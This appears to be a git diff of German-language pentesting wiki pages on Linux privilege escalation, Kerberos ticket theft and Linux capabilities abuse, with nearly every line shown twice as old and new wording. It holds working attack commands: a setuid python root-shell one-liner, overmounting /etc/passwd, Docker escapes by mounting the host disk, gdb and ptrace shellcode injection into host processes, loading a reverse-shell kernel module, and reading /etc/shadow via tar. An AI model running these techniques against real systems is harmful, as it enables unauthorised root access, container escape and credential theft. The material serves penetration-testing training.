Es scheint, dass **Mitglieder der Root-Gruppe** standardmäßig Zugriff auf die **Änderung** einiger **Service**-Konfigurationsdateien oder einiger **Bibliotheks**-Dateien oder **anderer interessanter Dinge** haben, die zur Eskalation von Rechten verwendet werden könnten...
Es scheint, dass standardmäßig **Mitglieder der Root-Gruppe** Zugriff auf die **Änderung** einiger **Service**-Konfigurationsdateien oder einiger **Bibliotheks**-Dateien oder **anderer interessanter Dinge** haben, die zur Eskalation von Rechten verwendet werden könnten...
**Überprüfen Sie, welche Dateien Root-Mitglieder ändern können**:
```bash
@ -199,7 +199,7 @@ Schließlich, wenn Ihnen keine der vorherigen Vorschläge gefällt oder sie aus
../docker-security/
{{#endref}}
Wenn Sie Schreibberechtigungen über den Docker-Socket haben, lesen Sie [**diesen Beitrag darüber, wie man Privilegien durch Missbrauch des Docker-Sockets eskaliert**](../index.html#writable-docker-socket)**.**
Wenn Sie Schreibberechtigungen über den Docker-Socket haben, lesen Sie [**diesen Beitrag darüber, wie man Privilegien durch den Docker-Socket eskaliert**](../index.html#writable-docker-socket)**.**
{{#ref}}
https://github.com/KrustyHack/docker-privilege-escalation

View File

@ -14,13 +14,15 @@ Wenn Sie Zugriff auf ein AD in Linux (oder Bash in Windows) haben, können Sie [
Sie können auch die folgende Seite überprüfen, um **andere Möglichkeiten zur Enumeration von AD aus Linux** zu lernen:
{{#ref}}
../../network-services-pentesting/pentesting-ldap.md
{{#endref}}
### FreeIPA
FreeIPA ist eine Open-Source-**Alternative** zu Microsoft Windows **Active Directory**, hauptsächlich für **Unix**-Umgebungen. Es kombiniert ein vollständiges **LDAP-Verzeichnis** mit einem MIT **Kerberos** Key Distribution Center für die Verwaltung ähnlich wie Active Directory. Es nutzt das Dogtag **Zertifikatssystem** für CA- und RA-Zertifikatsmanagement und unterstützt **Multi-Faktor**-Authentifizierung, einschließlich Smartcards. SSSD ist für Unix-Authentifizierungsprozesse integriert. Erfahren Sie mehr darüber in:
FreeIPA ist eine Open-Source-**Alternative** zu Microsoft Windows **Active Directory**, hauptsächlich für **Unix**-Umgebungen. Es kombiniert ein vollständiges **LDAP-Verzeichnis** mit einem MIT **Kerberos** Key Distribution Center für eine Verwaltung ähnlich wie bei Active Directory. Es nutzt das Dogtag **Zertifikatssystem** für CA- und RA-Zertifikatsmanagement und unterstützt **Multi-Faktor**-Authentifizierung, einschließlich Smartcards. SSSD ist für Unix-Authentifizierungsprozesse integriert. Erfahren Sie mehr darüber in:
{{#ref}}
../freeipa-pentesting.md
@ -32,13 +34,14 @@ FreeIPA ist eine Open-Source-**Alternative** zu Microsoft Windows **Active Direc
Auf dieser Seite finden Sie verschiedene Orte, an denen Sie **Kerberos-Tickets auf einem Linux-Host finden können**. Auf der folgenden Seite können Sie lernen, wie Sie diese CCache-Ticketformate in Kirbi (das Format, das Sie in Windows verwenden müssen) umwandeln und auch, wie Sie einen PTT-Angriff durchführen:
{{#ref}}
../../windows-hardening/active-directory-methodology/pass-the-ticket.md
{{#endref}}
### CCACHE-Ticket-Wiederverwendung aus /tmp
CCACHE-Dateien sind binäre Formate zum **Speichern von Kerberos-Anmeldeinformationen**, die typischerweise mit 600 Berechtigungen in `/tmp` gespeichert werden. Diese Dateien können an ihrem **Namensformat, `krb5cc_%{uid}`,** identifiziert werden, das mit der UID des Benutzers korreliert. Für die Überprüfung des Authentifizierungstickets sollte die **Umgebungsvariable `KRB5CCNAME`** auf den Pfad der gewünschten Ticketdatei gesetzt werden, um deren Wiederverwendung zu ermöglichen.
CCACHE-Dateien sind binäre Formate zum **Speichern von Kerberos-Anmeldeinformationen**, die typischerweise mit 600 Berechtigungen in `/tmp` gespeichert werden. Diese Dateien können durch ihr **Namensformat, `krb5cc_%{uid}`,** identifiziert werden, das mit der UID des Benutzers korreliert. Für die Überprüfung des Authentifizierungstickets sollte die **Umgebungsvariable `KRB5CCNAME`** auf den Pfad der gewünschten Ticketdatei gesetzt werden, um deren Wiederverwendung zu ermöglichen.
Listen Sie das aktuelle Ticket, das für die Authentifizierung verwendet wird, mit `env | grep KRB5CCNAME` auf. Das Format ist portabel und das Ticket kann **durch Setzen der Umgebungsvariable** mit `export KRB5CCNAME=/tmp/ticket.ccache` wiederverwendet werden. Das Kerberos-Ticket-Namensformat ist `krb5cc_%{uid}`, wobei uid die Benutzer-UID ist.
```bash
@ -49,7 +52,7 @@ krb5cc_1000
# Prepare to use it
export KRB5CCNAME=/tmp/krb5cc_1000
```
### CCACHE Ticket-Wiederverwendung aus dem Schlüsselbund
### CCACHE Ticket-Wiederverwendung aus dem Keyring
**Kerberos-Tickets, die im Speicher eines Prozesses gespeichert sind, können extrahiert werden**, insbesondere wenn der ptrace-Schutz der Maschine deaktiviert ist (`/proc/sys/kernel/yama/ptrace_scope`). Ein nützliches Tool für diesen Zweck ist unter [https://github.com/TarlogicSecurity/tickey](https://github.com/TarlogicSecurity/tickey) zu finden, das die Extraktion erleichtert, indem es in Sitzungen injiziert und Tickets in `/tmp` dumpet.
@ -62,7 +65,7 @@ make CONF=Release
```
Dieses Verfahren wird versuchen, in verschiedene Sitzungen zu injizieren, wobei der Erfolg durch das Speichern der extrahierten Tickets in `/tmp` mit einer Namenskonvention von `__krb_UID.ccache` angezeigt wird.
### CCACHE-Ticket-Wiederverwendung von SSSD KCM
### CCACHE Ticket-Wiederverwendung von SSSD KCM
SSSD hält eine Kopie der Datenbank unter dem Pfad `/var/lib/sss/secrets/secrets.ldb`. Der entsprechende Schlüssel wird als versteckte Datei unter dem Pfad `/var/lib/sss/secrets/.secrets.mkey` gespeichert. Standardmäßig ist der Schlüssel nur lesbar, wenn Sie **root**-Berechtigungen haben.
@ -81,7 +84,7 @@ klist -k /etc/krb5.keytab
```
### Konten aus /etc/krb5.keytab extrahieren
Servicekonto-Schlüssel, die für Dienste mit Root-Rechten unerlässlich sind, werden sicher in **`/etc/krb5.keytab`**-Dateien gespeichert. Diese Schlüssel, ähnlich wie Passwörter für Dienste, erfordern strikte Vertraulichkeit.
Dienstkontoschlüssel, die für Dienste mit Root-Rechten unerlässlich sind, werden sicher in **`/etc/krb5.keytab`**-Dateien gespeichert. Diese Schlüssel, ähnlich wie Passwörter für Dienste, erfordern strikte Vertraulichkeit.
Um den Inhalt der Keytab-Datei zu überprüfen, kann **`klist`** verwendet werden. Das Tool ist dafür ausgelegt, Schlüsseldetails anzuzeigen, einschließlich des **NT Hash** für die Benutzerauthentifizierung, insbesondere wenn der Schlüsseltyp als 23 identifiziert wird.
```bash

View File

@ -4,42 +4,42 @@
## Linux Capabilities
Linux-Capabilities teilen **Root-Rechte in kleinere, distincte Einheiten** auf, wodurch Prozessen eine Teilmenge von Rechten zugewiesen werden kann. Dies minimiert die Risiken, indem nicht unnötig vollständige Root-Rechte gewährt werden.
Linux-Capabilities teilen **Root-Rechte in kleinere, distincte Einheiten** auf, wodurch Prozessen eine Teilmenge von Rechten zugewiesen werden kann. Dies minimiert die Risiken, indem nicht unnötig volle Root-Rechte gewährt werden.
### Das Problem:
- Normale Benutzer haben eingeschränkte Berechtigungen, was Aufgaben wie das Öffnen eines Netzwerk-Sockets betrifft, die Root-Zugriff erfordern.
### Fähigkeitensets:
### Fähigkeitssätze:
1. **Inherited (CapInh)**:
- **Zweck**: Bestimmt die Fähigkeiten, die vom übergeordneten Prozess weitergegeben werden.
- **Funktionalität**: Wenn ein neuer Prozess erstellt wird, erbt er die Fähigkeiten aus diesem Set von seinem Elternprozess. Nützlich, um bestimmte Berechtigungen über Prozessstarts hinweg aufrechtzuerhalten.
- **Funktionalität**: Wenn ein neuer Prozess erstellt wird, erbt er die Fähigkeiten aus diesem Satz von seinem Elternprozess. Nützlich, um bestimmte Berechtigungen über Prozessstarts hinweg aufrechtzuerhalten.
- **Einschränkungen**: Ein Prozess kann keine Fähigkeiten erlangen, die sein Elternprozess nicht besaß.
2. **Effective (CapEff)**:
- **Zweck**: Stellt die tatsächlichen Fähigkeiten dar, die ein Prozess zu jedem Zeitpunkt nutzt.
- **Funktionalität**: Es ist das Set von Fähigkeiten, das vom Kernel überprüft wird, um Berechtigungen für verschiedene Operationen zu gewähren. Für Dateien kann dieses Set ein Flag sein, das angibt, ob die erlaubten Fähigkeiten der Datei als effektiv betrachtet werden sollen.
- **Bedeutung**: Das effektive Set ist entscheidend für sofortige Berechtigungsprüfungen und fungiert als aktives Set von Fähigkeiten, die ein Prozess nutzen kann.
- **Funktionalität**: Es ist der Satz von Fähigkeiten, der vom Kernel überprüft wird, um Berechtigungen für verschiedene Operationen zu gewähren. Für Dateien kann dieser Satz ein Flag sein, das angibt, ob die erlaubten Fähigkeiten der Datei als effektiv betrachtet werden sollen.
- **Bedeutung**: Der effektive Satz ist entscheidend für sofortige Berechtigungsprüfungen und fungiert als der aktive Satz von Fähigkeiten, die ein Prozess nutzen kann.
3. **Permitted (CapPrm)**:
- **Zweck**: Definiert das maximale Set von Fähigkeiten, das ein Prozess besitzen kann.
- **Funktionalität**: Ein Prozess kann eine Fähigkeit aus dem erlaubten Set in sein effektives Set erhöhen, wodurch er die Fähigkeit nutzen kann. Er kann auch Fähigkeiten aus seinem erlaubten Set ablegen.
- **Grenze**: Es fungiert als obere Grenze für die Fähigkeiten, die ein Prozess haben kann, und stellt sicher, dass ein Prozess seinen vordefinierten Berechtigungsrahmen nicht überschreitet.
- **Zweck**: Definiert den maximalen Satz von Fähigkeiten, die ein Prozess besitzen kann.
- **Funktionalität**: Ein Prozess kann eine Fähigkeit aus dem erlaubten Satz in seinen effektiven Satz erhöhen, wodurch er die Fähigkeit nutzen kann. Er kann auch Fähigkeiten aus seinem erlaubten Satz ablegen.
- **Grenze**: Er fungiert als obere Grenze für die Fähigkeiten, die ein Prozess haben kann, und stellt sicher, dass ein Prozess seinen vordefinierten Berechtigungsbereich nicht überschreitet.
4. **Bounding (CapBnd)**:
- **Zweck**: Setzt eine Obergrenze für die Fähigkeiten, die ein Prozess während seines Lebenszyklus jemals erwerben kann.
- **Funktionalität**: Selbst wenn ein Prozess eine bestimmte Fähigkeit in seinem vererbbaren oder erlaubten Set hat, kann er diese Fähigkeit nicht erwerben, es sei denn, sie ist auch im Bounding-Set enthalten.
- **Anwendungsfall**: Dieses Set ist besonders nützlich, um das Potenzial eines Prozesses zur Eskalation von Berechtigungen einzuschränken und eine zusätzliche Sicherheitsebene hinzuzufügen.
- **Funktionalität**: Selbst wenn ein Prozess eine bestimmte Fähigkeit in seinem vererbbaren oder erlaubten Satz hat, kann er diese Fähigkeit nicht erwerben, es sei denn, sie ist auch im Bounding-Satz enthalten.
- **Anwendungsfall**: Dieser Satz ist besonders nützlich, um das Potenzial eines Prozesses zur Eskalation von Berechtigungen einzuschränken und eine zusätzliche Sicherheitsebene hinzuzufügen.
5. **Ambient (CapAmb)**:
- **Zweck**: Ermöglicht es, bestimmte Fähigkeiten über einen `execve`-Systemaufruf hinweg beizubehalten, was normalerweise zu einem vollständigen Zurücksetzen der Fähigkeiten des Prozesses führen würde.
- **Funktionalität**: Stellt sicher, dass nicht-SUID-Programme, die keine zugehörigen Datei-Fähigkeiten haben, bestimmte Berechtigungen beibehalten können.
- **Einschränkungen**: Fähigkeiten in diesem Set unterliegen den Einschränkungen der vererbbaren und erlaubten Sets, um sicherzustellen, dass sie die erlaubten Berechtigungen des Prozesses nicht überschreiten.
- **Einschränkungen**: Fähigkeiten in diesem Satz unterliegen den Einschränkungen der vererbbaren und erlaubten Sätze, um sicherzustellen, dass sie die erlaubten Berechtigungen des Prozesses nicht überschreiten.
```python
# Code to demonstrate the interaction of different capability sets might look like this:
# Note: This is pseudo-code for illustrative purposes only.
@ -83,7 +83,7 @@ CapEff: 0000003fffffffff
CapBnd: 0000003fffffffff
CapAmb: 0000000000000000
```
Diese hexadezimalen Zahlen ergeben keinen Sinn. Mit dem capsh-Dienstprogramm können wir sie in die Namen der Berechtigungen decodieren.
Diese hexadezimalen Zahlen ergeben keinen Sinn. Mit dem capsh-Dienstprogramm können wir sie in die Namen der Fähigkeiten decodieren.
```bash
capsh --decode=0000003fffffffff
0x0000003fffffffff=cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_linux_immutable,cap_net_bind_service,cap_net_broadcast,cap_net_admin,cap_net_raw,cap_ipc_lock,cap_ipc_owner,cap_sys_module,cap_sys_rawio,cap_sys_chroot,cap_sys_ptrace,cap_sys_pacct,cap_sys_admin,cap_sys_boot,cap_sys_nice,cap_sys_resource,cap_sys_time,cap_sys_tty_config,cap_mknod,cap_lease,cap_audit_write,cap_audit_control,cap_setfcap,cap_mac_override,cap_mac_admin,cap_syslog,cap_wake_alarm,cap_block_suspend,37
@ -123,7 +123,7 @@ $ capsh --decode=0000000000003000
0x0000000000003000=cap_net_admin,cap_net_raw
```
Wie Sie sehen können, entsprechen die angegebenen Fähigkeiten den Ergebnissen der 2 Methoden, um die Fähigkeiten einer Binärdatei zu erhalten.\
Das _getpcaps_ Tool verwendet den **capget()** Systemaufruf, um die verfügbaren Fähigkeiten für einen bestimmten Thread abzufragen. Dieser Systemaufruf muss nur die PID angeben, um weitere Informationen zu erhalten.
Das _getpcaps_ Tool verwendet den **capget()** Systemaufruf, um die verfügbaren Fähigkeiten für einen bestimmten Thread abzufragen. Dieser Systemaufruf muss nur die PID bereitstellen, um weitere Informationen zu erhalten.
### Fähigkeiten von Binärdateien
@ -144,7 +144,7 @@ capsh --drop=cap_net_raw --print -- -c "tcpdump"
```
Neben der Ausgabe von _capsh_ selbst sollte auch der Befehl _tcpdump_ einen Fehler ausgeben.
> /bin/bash: /usr/sbin/tcpdump: Operation not permitted
> /bin/bash: /usr/sbin/tcpdump: Operation nicht erlaubt
Der Fehler zeigt deutlich, dass der Ping-Befehl nicht berechtigt ist, einen ICMP-Socket zu öffnen. Jetzt wissen wir mit Sicherheit, dass dies wie erwartet funktioniert.
@ -156,7 +156,7 @@ setcap -r </path/to/binary>
```
## Benutzerfähigkeiten
Offensichtlich **ist es möglich, Fähigkeiten auch Benutzern zuzuweisen**. Das bedeutet wahrscheinlich, dass jeder Prozess, der vom Benutzer ausgeführt wird, die Fähigkeiten des Benutzers nutzen kann.\
Offensichtlich **ist es möglich, auch Benutzern Fähigkeiten zuzuweisen**. Das bedeutet wahrscheinlich, dass jeder Prozess, der vom Benutzer ausgeführt wird, die Fähigkeiten des Benutzers nutzen kann.\
Basierend auf [diesem](https://unix.stackexchange.com/questions/454708/how-do-you-add-cap-sys-admin-permissions-to-user-in-centos-7), [diesem](http://manpages.ubuntu.com/manpages/bionic/man5/capability.conf.5.html) und [diesem](https://stackoverflow.com/questions/1956732/is-it-possible-to-configure-linux-capabilities-per-user) müssen einige Dateien konfiguriert werden, um einem Benutzer bestimmte Fähigkeiten zu geben, aber die Datei, die die Fähigkeiten jedem Benutzer zuweist, ist `/etc/security/capability.conf`.\
Dateibeispiel:
```bash
@ -276,16 +276,16 @@ capsh --print
Current: = cap_net_admin,cap_net_raw,cap_sys_nice+eip
```
> [!CAUTION]
> Sie können **nur Berechtigungen hinzufügen, die sowohl** im erlaubten als auch im vererbbaren Set vorhanden sind.
> Sie können **nur Fähigkeiten hinzufügen, die sowohl** im erlaubten als auch im vererbbaren Set vorhanden sind.
### Berechtigungsbewusste/Berechtigungsdumme Binaries
### Fähigkeit-bewusste/Fähigkeit-dumme Binaries
Die **berechtigungsbewussten Binaries verwenden die neuen Berechtigungen** nicht, die von der Umgebung bereitgestellt werden, jedoch **werden die berechtigungsdummen Binaries** sie verwenden, da sie sie nicht ablehnen. Dies macht berechtigungsdumme Binaries anfällig in einer speziellen Umgebung, die Binaries Berechtigungen gewährt.
Die **fähigkeit-bewussten Binaries verwenden die neuen Fähigkeiten** nicht, die von der Umgebung bereitgestellt werden, jedoch werden die **fähigkeit-dummen Binaries** sie verwenden, da sie sie nicht ablehnen. Dies macht Fähigkeit-dumme Binaries anfällig in einer speziellen Umgebung, die Binaries Fähigkeiten gewährt.
## Dienstberechtigungen
## Dienstfähigkeiten
Standardmäßig hat ein **Dienst, der als Root ausgeführt wird, alle Berechtigungen zugewiesen**, und in einigen Fällen kann dies gefährlich sein.\
Daher ermöglicht eine **Dienstkonfigurations**datei, die **Berechtigungen** anzugeben, die Sie ihm geben möchten, **und** den **Benutzer**, der den Dienst ausführen soll, um zu vermeiden, dass ein Dienst mit unnötigen Berechtigungen ausgeführt wird:
Standardmäßig hat ein **Dienst, der als Root ausgeführt wird, alle Fähigkeiten zugewiesen**, und in einigen Fällen kann dies gefährlich sein.\
Daher ermöglicht eine **Dienstkonfigurations**datei, die **Fähigkeiten** anzugeben, die Sie ihm geben möchten, **und** den **Benutzer**, der den Dienst ausführen soll, um zu vermeiden, dass ein Dienst mit unnötigen Rechten ausgeführt wird:
```bash
[Service]
User=bob
@ -321,7 +321,7 @@ setcap cap_net_raw+ep /sbin/ping
getcap /sbin/ping
/sbin/ping = cap_net_raw+ep
```
Die `+ep` bedeutet, dass Sie die Fähigkeit hinzufügen („-“ würde sie entfernen) als Effektiv und Erlaubt.
Das `+ep` bedeutet, dass Sie die Fähigkeit hinzufügen („-“ würde sie entfernen) als Effektiv und Erlaubt.
Um Programme in einem System oder Ordner mit Fähigkeiten zu identifizieren:
```bash
@ -337,7 +337,7 @@ setcap cap_setuid+ep /usr/bin/python2.7
#Exploit
/usr/bin/python2.7 -c 'import os; os.setuid(0); os.system("/bin/bash");'
```
**Fähigkeiten**, die von `tcpdump` benötigt werden, um **jedem Benutzer das Abfangen von Paketen zu ermöglichen**:
**Capabilities** benötigt von `tcpdump`, um **jedem Benutzer das Abfangen von Paketen zu ermöglichen**:
```bash
setcap cap_net_raw,cap_net_admin=eip /usr/sbin/tcpdump
getcap /usr/sbin/tcpdump
@ -349,26 +349,26 @@ getcap /usr/sbin/tcpdump
1. nicht im Besitz von root ist
2. keine `SUID`/`SGID`-Bits gesetzt hat
3. leere Fähigkeiten gesetzt hat (z.B.: `getcap myelf` gibt `myelf =ep` zurück)
3. leere Fähigkeiten gesetzt hat (z. B.: `getcap myelf` gibt `myelf =ep` zurück)
dann **wird diese Binärdatei als root ausgeführt**.
## CAP_SYS_ADMIN
**[`CAP_SYS_ADMIN`](https://man7.org/linux/man-pages/man7/capabilities.7.html)** ist eine äußerst potente Linux-Fähigkeit, die oft mit einem nahezu Root-Level gleichgesetzt wird, aufgrund ihrer umfangreichen **administrativen Berechtigungen**, wie das Einbinden von Geräten oder das Manipulieren von Kernel-Funktionen. Während sie für Container, die ganze Systeme simulieren, unverzichtbar ist, **stellt `CAP_SYS_ADMIN` erhebliche Sicherheitsherausforderungen** dar, insbesondere in containerisierten Umgebungen, aufgrund ihres Potenzials r Privilegieneskalation und Systemkompromittierung. Daher erfordert ihre Nutzung strenge Sicherheitsbewertungen und vorsichtige Verwaltung, mit einer starken Präferenz für das Entfernen dieser Fähigkeit in anwendungsspezifischen Containern, um dem **Prinzip der geringsten Privilegien** zu entsprechen und die Angriffsfläche zu minimieren.
**[`CAP_SYS_ADMIN`](https://man7.org/linux/man-pages/man7/capabilities.7.html)** ist eine äußerst mächtige Linux-Fähigkeit, die oft mit einem nahezu Root-Level gleichgesetzt wird, aufgrund ihrer umfangreichen **administrativen Berechtigungen**, wie das Einhängen von Geräten oder das Manipulieren von Kernel-Funktionen. Während sie für Container, die ganze Systeme simulieren, unverzichtbar ist, **stellt `CAP_SYS_ADMIN` erhebliche Sicherheitsherausforderungen** dar, insbesondere in containerisierten Umgebungen, aufgrund ihres Potenzials zur Privilegieneskalation und Systemkompromittierung. Daher erfordert ihre Nutzung strenge Sicherheitsbewertungen und vorsichtige Verwaltung, mit einer starken Präferenz für das Entfernen dieser Fähigkeit in anwendungsspezifischen Containern, um dem **Prinzip der geringsten Privilegien** zu entsprechen und die Angriffsfläche zu minimieren.
**Beispiel mit Binärdatei**
```bash
getcap -r / 2>/dev/null
/usr/bin/python2.7 = cap_sys_admin+ep
```
Mit Python können Sie eine modifizierte _passwd_-Datei über der echten _passwd_-Datei einhängen:
Mit Python können Sie eine modifizierte _passwd_-Datei über die echte _passwd_-Datei einhängen:
```bash
cp /etc/passwd ./ #Create a copy of the passwd file
openssl passwd -1 -salt abc password #Get hash of "password"
vim ./passwd #Change roots passwords of the fake passwd file
```
Und schließlich **mount** die modifizierte `passwd`-Datei auf `/etc/passwd`:
Und schließlich **mounten** Sie die modifizierte `passwd`-Datei auf `/etc/passwd`:
```python
from ctypes import *
libc = CDLL("libc.so.6")
@ -385,7 +385,7 @@ Und Sie werden in der Lage sein, **`su` als root** mit dem Passwort "password" z
**Beispiel mit Umgebung (Docker-Ausbruch)**
Sie können die aktivierten Fähigkeiten innerhalb des Docker-Containers überprüfen mit:
Sie können die aktivierten Fähigkeiten innerhalb des Docker-Containers überprüfen, indem Sie:
```
capsh --print
Current: = cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_linux_immutable,cap_net_bind_service,cap_net_broadcast,cap_net_admin,cap_net_raw,cap_ipc_lock,cap_ipc_owner,cap_sys_module,cap_sys_rawio,cap_sys_chroot,cap_sys_ptrace,cap_sys_pacct,cap_sys_admin,cap_sys_boot,cap_sys_nice,cap_sys_resource,cap_sys_time,cap_sys_tty_config,cap_mknod,cap_lease,cap_audit_write,cap_audit_control,cap_setfcap,cap_mac_override,cap_mac_admin,cap_syslog,cap_wake_alarm,cap_block_suspend,cap_audit_read+ep
@ -417,7 +417,7 @@ chroot ./ bash #You have a shell inside the docker hosts disk
- **Vollzugriff**
In der vorherigen Methode konnten wir auf die Festplatte des Docker-Hosts zugreifen.\
Falls Sie feststellen, dass der Host einen **ssh**-Server ausführt, könnten Sie **einen Benutzer auf der Festplatte des Docker-Hosts erstellen** und über SSH darauf zugreifen:
Falls Sie feststellen, dass der Host einen **ssh**-Server ausführt, könnten Sie **einen Benutzer im Docker-Host**-Verzeichnis erstellen und über SSH darauf zugreifen:
```bash
#Like in the example before, the first step is to mount the docker host disk
fdisk -l
@ -435,7 +435,7 @@ ssh john@172.17.0.1 -p 2222
**Das bedeutet, dass Sie den Container verlassen können, indem Sie einen Shellcode in einen Prozess injizieren, der im Host läuft.** Um auf Prozesse zuzugreifen, die im Host laufen, muss der Container mindestens mit **`--pid=host`** ausgeführt werden.
**[`CAP_SYS_PTRACE`](https://man7.org/linux/man-pages/man7/capabilities.7.html)** gewährt die Fähigkeit, Debugging- und Systemaufruf-Trace-Funktionen zu nutzen, die von `ptrace(2)` bereitgestellt werden, sowie Cross-Memory-Attach-Aufrufe wie `process_vm_readv(2)` und `process_vm_writev(2)`. Obwohl es für Diagnose- und Überwachungszwecke mächtig ist, kann die Aktivierung von `CAP_SYS_PTRACE` ohne einschränkende Maßnahmen wie einen seccomp-Filter auf `ptrace(2)` die Systemsicherheit erheblich gefährden. Insbesondere kann es ausgenutzt werden, um andere Sicherheitsbeschränkungen zu umgehen, insbesondere die von seccomp auferlegten, wie durch [Proofs of Concept (PoC) wie dieses](https://gist.github.com/thejh/8346f47e359adecd1d53) demonstriert.
**[`CAP_SYS_PTRACE`](https://man7.org/linux/man-pages/man7/capabilities.7.html)** gewährt die Fähigkeit, Debugging- und Systemaufruf-Trace-Funktionen zu nutzen, die von `ptrace(2)` bereitgestellt werden, sowie Cross-Memory-Attach-Aufrufe wie `process_vm_readv(2)` und `process_vm_writev(2)`. Obwohl es für Diagnose- und Überwachungszwecke mächtig ist, kann `CAP_SYS_PTRACE`, wenn es ohne einschränkende Maßnahmen wie einen Seccomp-Filter auf `ptrace(2)` aktiviert wird, die Systemsicherheit erheblich untergraben. Insbesondere kann es ausgenutzt werden, um andere Sicherheitsbeschränkungen zu umgehen, insbesondere die von Seccomp auferlegten, wie durch [Proofs of Concept (PoC) wie dieses hier](https://gist.github.com/thejh/8346f47e359adecd1d53) demonstriert.
**Beispiel mit Binary (Python)**
```bash
@ -584,7 +584,7 @@ process 207009 is executing new program: /usr/bin/dash
```
**Beispiel mit Umgebung (Docker-Ausbruch) - Ein weiteres GDB-Missbrauch**
Wenn **GDB** installiert ist (oder Sie es mit `apk add gdb` oder `apt install gdb` installieren können), können Sie **einen Prozess vom Host aus debuggen** und ihn die `system`-Funktion aufrufen lassen. (Diese Technik erfordert ebenfalls die Berechtigung `SYS_ADMIN`)**.**
Wenn **GDB** installiert ist (oder Sie es mit `apk add gdb` oder `apt install gdb` installieren können, zum Beispiel), können Sie **einen Prozess vom Host aus debuggen** und ihn die `system`-Funktion aufrufen lassen. (Diese Technik erfordert ebenfalls die Fähigkeit `SYS_ADMIN`)**.**
```bash
gdb -p 1234
(gdb) call (void)system("ls")
@ -611,7 +611,7 @@ uid=0(root)
gid=0(root)
groups=0(root
```
List **Prozesse**, die im **Host** `ps -eaf`
List **Prozesse** die im **Host** laufen `ps -eaf`
1. Holen Sie sich die **Architektur** `uname -m`
2. Finden Sie einen **Shellcode** für die Architektur ([https://www.exploit-db.com/exploits/41128](https://www.exploit-db.com/exploits/41128))
@ -621,8 +621,8 @@ List **Prozesse**, die im **Host** `ps -eaf`
## CAP_SYS_MODULE
**[`CAP_SYS_MODULE`](https://man7.org/linux/man-pages/man7/capabilities.7.html)** ermächtigt einen Prozess, **Kernelmodule zu laden und zu entladen (`init_module(2)`, `finit_module(2)` und `delete_module(2)` Systemaufrufe)**, was direkten Zugriff auf die Kernoperationen des Kernels bietet. Diese Fähigkeit birgt erhebliche Sicherheitsrisiken, da sie eine Privilegieneskalation und eine vollständige Kompromittierung des Systems ermöglicht, indem sie Änderungen am Kernel zulässt und somit alle Linux-Sicherheitsmechanismen, einschließlich Linux Security Modules und Container-Isolierung, umgeht.
**Das bedeutet, dass Sie** **Kernelmodule in den Kernel des Host-Systems einfügen/entfernen können.**
**[`CAP_SYS_MODULE`](https://man7.org/linux/man-pages/man7/capabilities.7.html)** ermöglicht einem Prozess das **Laden und Entladen von Kernelmodulen (`init_module(2)`, `finit_module(2)` und `delete_module(2)` Systemaufrufe)**, was direkten Zugriff auf die Kernoperationen des Kernels bietet. Diese Fähigkeit birgt erhebliche Sicherheitsrisiken, da sie eine Privilegieneskalation und einen vollständigen Systemkompromiss ermöglicht, indem sie Modifikationen am Kernel erlaubt und somit alle Linux-Sicherheitsmechanismen, einschließlich Linux Security Modules und Container-Isolierung, umgeht.
**Das bedeutet, dass Sie** **Kernelmodule in/aus dem Kernel des Host-Systems einfügen/entfernen können.**
**Beispiel mit Binärdatei**
@ -631,8 +631,8 @@ Im folgenden Beispiel hat die Binärdatei **`python`** diese Fähigkeit.
getcap -r / 2>/dev/null
/usr/bin/python2.7 = cap_sys_module+ep
```
Standardmäßig überprüft der Befehl **`modprobe`** die Abhängigkeitsliste und die Map-Dateien im Verzeichnis **`/lib/modules/$(uname -r)`**.\
Um dies auszunutzen, lassen Sie uns einen gefälschten **lib/modules**-Ordner erstellen:
Standardmäßig überprüft der **`modprobe`** Befehl die Abhängigkeitsliste und die Map-Dateien im Verzeichnis **`/lib/modules/$(uname -r)`**.\
Um dies auszunutzen, lassen Sie uns einen gefälschten **lib/modules** Ordner erstellen:
```bash
mkdir lib/modules -p
cp -a /lib/modules/5.0.0-20-generic/ lib/modules/$(uname -r)
@ -641,7 +641,7 @@ Dann **kompiliere das Kernel-Modul, das du unten in 2 Beispielen findest, und ko
```bash
cp reverse-shell.ko lib/modules/$(uname -r)/
```
Schließlich führen Sie den benötigten Python-Code aus, um dieses Kernel-Modul zu laden:
Führen Sie schließlich den benötigten Python-Code aus, um dieses Kernel-Modul zu laden:
```python
import kmod
km = kmod.Kmod()
@ -655,7 +655,7 @@ Im folgenden Beispiel hat die Binärdatei **`kmod`** diese Fähigkeit.
getcap -r / 2>/dev/null
/bin/kmod = cap_sys_module+ep
```
Was bedeutet, dass es möglich ist, den Befehl **`insmod`** zu verwenden, um ein Kernel-Modul einzufügen. Folgen Sie dem untenstehenden Beispiel, um eine **reverse shell** auszunutzen, die dieses Privileg missbraucht.
Was bedeutet, dass es möglich ist, den Befehl **`insmod`** zu verwenden, um ein Kernel-Modul einzufügen. Befolgen Sie das folgende Beispiel, um eine **reverse shell** auszunutzen, die dieses Privileg missbraucht.
**Beispiel mit Umgebung (Docker-Ausbruch)**
@ -709,11 +709,11 @@ clean:
make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean
```
> [!WARNING]
> Das Leerzeichen vor jedem "make"-Befehl in der Makefile **muss ein Tabulator, nicht Leerzeichen** sein!
> Das Leerzeichen vor jedem "make"-Wort in der Makefile **muss ein Tabulator, nicht Leerzeichen** sein!
Führen Sie `make` aus, um es zu kompilieren.
```
ake[1]: *** /lib/modules/5.10.0-kali7-amd64/build: No such file or directory. Stop.
```bash
Make[1]: *** /lib/modules/5.10.0-kali7-amd64/build: No such file or directory. Stop.
sudo apt update
sudo apt full-upgrade
@ -737,7 +737,7 @@ Ein weiteres Beispiel für diese Technik findet sich unter [https://www.cyberark
**Beispiel mit Binärdatei**
Die Binärdatei wird in der Lage sein, jede Datei zu lesen. Wenn eine Datei wie tar diese Fähigkeit hat, wird sie in der Lage sein, die Schatten-Datei zu lesen:
Die Binärdatei wird in der Lage sein, jede Datei zu lesen. Wenn eine Datei wie tar diese Fähigkeit hat, kann sie die Schatten-Datei lesen:
```bash
cd /etc
tar -czf /tmp/shadow.tar.gz shadow #Compress show file in /tmp
@ -746,7 +746,7 @@ tar -cxf shadow.tar.gz
```
**Beispiel mit binary2**
In diesem Fall nehmen wir an, dass die **`python`**-Binärdatei diese Fähigkeit hat. Um die Root-Dateien aufzulisten, könnten Sie Folgendes tun:
